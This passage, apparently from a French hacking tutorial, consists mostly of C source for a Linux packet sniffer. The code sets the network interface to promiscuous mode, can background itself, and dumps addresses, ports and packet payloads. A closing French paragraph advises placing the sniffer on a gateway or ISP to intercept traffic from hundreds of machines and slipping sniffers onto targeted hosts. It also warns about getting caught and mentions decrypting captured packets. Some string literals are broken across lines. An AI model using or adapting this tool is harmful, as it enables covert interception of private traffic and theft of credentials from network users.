(argv[ac][0] == '-')) {
register
char ch = argv[ac++][1];
switch(toupper(ch))
{
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical
device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to
%s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug)
{
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started
at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
#define BUFLEN 8192
#define ETHLINKHDR 14
print_data(int count, char *buff)
{
int i,j,c;
int printnext=1;
if(count)
{
if(count%16)
c=count+(16-count%16);
else c=count;
}
else
c=count;
for(i=0;i<c;i++)
{
if(printnext) { printnext--; printf("%.4x
",i&0xffff); }
if(i<count)
printf("%3.2x",buff[i]&0xff);
else
printf(" ");
if(!((i+1)%8))
if((i+1)%16)
printf(" -");
else
{
printf("
");
for(j=i-15;j<=i;j++)
if(j<count)
{
if( (buff[j]&0xff)
>= 0x20 &&
(buff[j]&0xff)<=0x7e)
printf("%c",buff[j]&0xff);
else printf(".");
} else printf("
");
printf("\n"); printnext=1;
}
}
}
int
initdevice(device, pflag)
char *device;
int pflag;
{
#define PROTO htons(0x0800) /*
Ethernet code for IP protocol */
int if_fd=0;
struct ifreq ifr;
if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO))
< 0 ) {
perror("Can't get socket");
exit(2);
}
strcpy(ifr.ifr_name, device);
/* interface we're gonna use */
if( ioctl(if_fd, SIOCGIFFLAGS, &ifr)
< 0 ) { /* get flags */
close(if_fd);
perror("Can't get flags");
exit(2);
}
#if 1
if ( pflag )
ifr.ifr_flags |= IFF_PROMISC;
/* set promiscuous mode */
else
ifr.ifr_flags &= ~(IFF_PROMISC);
#endif
if( ioctl(if_fd, SIOCSIFFLAGS, &ifr)
< 0 ) { /* set flags */
close(if_fd);
perror("Can't set flags");
exit(2);
}
return if_fd;
}
struct etherpacket {
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char data[8192];
};
main()
{
int linktype;
int if_eth_fd=initdevice("eth0",1);
#if 0
int if_ppp_fd=initdevice("sl0",1);
#endif
struct etherpacket ep;
struct sockaddr dest;
struct iphdr *ip;
struct tcphdr *tcp;
struct timeval timeout;
fd_set rd,wr;
int dlen;
#if 0
struct slcompress *slc=slhc_init(64,64);
#endif
for(;;)
{
bzero(&dest,sizeof(dest));
dlen=0;
FD_ZERO(&rd);
FD_ZERO(&wr);
FD_SET(if_eth_fd,&rd);
#if 0
FD_SET(if_ppp_fd,&rd);
#endif
timeout.tv_sec=0;
timeout.tv_usec=0;
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
while(timeout.tv_sec==0 &&
timeout.tv_usec==0)
{
timeout.tv_sec=10;
timeout.tv_usec=0;
select(20,&rd,&wr,NULL,&timeout);
if(FD_ISSET(if_eth_fd,&rd))
{
printf("eth\n");
recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);
}
#if 0
else
if(FD_ISSET(if_ppp_fd,&rd))
{
recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);
printf("ppp\n");
}
#endif
}
printf("proto: %.4x",ntohs(ep.eth.h_proto));
#if 0
if(ep.eth.h_proto==ntohs(8053))
{
slhc_uncompress(slc,&ep,sizeof(ep));
}
#endif
if(ep.eth.h_proto==ntohs(ETH_P_IP))
{
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",
ep.eth.h_source[0],ep.eth.h_source[1],
ep.eth.h_source[2],ep.eth.h_source[3],
ep.eth.h_source[4],ep.eth.h_source[5]);
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x
",
ep.eth.h_dest[0],ep.eth.h_dest[1],
ep.eth.h_dest[2],ep.eth.h_dest[3],
ep.eth.h_dest[4],ep.eth.h_dest[5]);
printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));
printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),
ep.data-2);
}
}
}
Maintenant que vous savez comment fonctionne voyons quel avantage nous pouvons en tirer: sur un réseau local, qui est connecté à Internet par un serveur (tête de réseau), il suffit de placer un sniffer sur cette même tête de réseau pour que les packets transitant vers lui puis de lui vers le net, soient interceptés. Si vous ne voyez absolument pas ce que celà représente, imaginez un réseau de 500 ordinateurs ou de 500 pc représentés par une adresse IP. Par exemple un ISP quelquonque: les packets peuvent transiter vers lui, et vous vous interceptez chaque packet envoyé par ces 500 machines. EN quelques heures, votre disque dur est mort, rempli. Il existe des sniffers qui font un filtrage d'IP. Appuyez vous sur ce fait ou bien ne filez ces sniffers qu'aux machines visées. ATTENTION: des méthodes de protections ont été élaborées, surtout au niveau du sniffing. Refilez un sniffer et faites vous repérer risque de vous apporter de grosses emmerdes. Il se peut aussi que les packets envoyés par X ordinateur soit crypté, il vous faudra trouver comment les décrypter.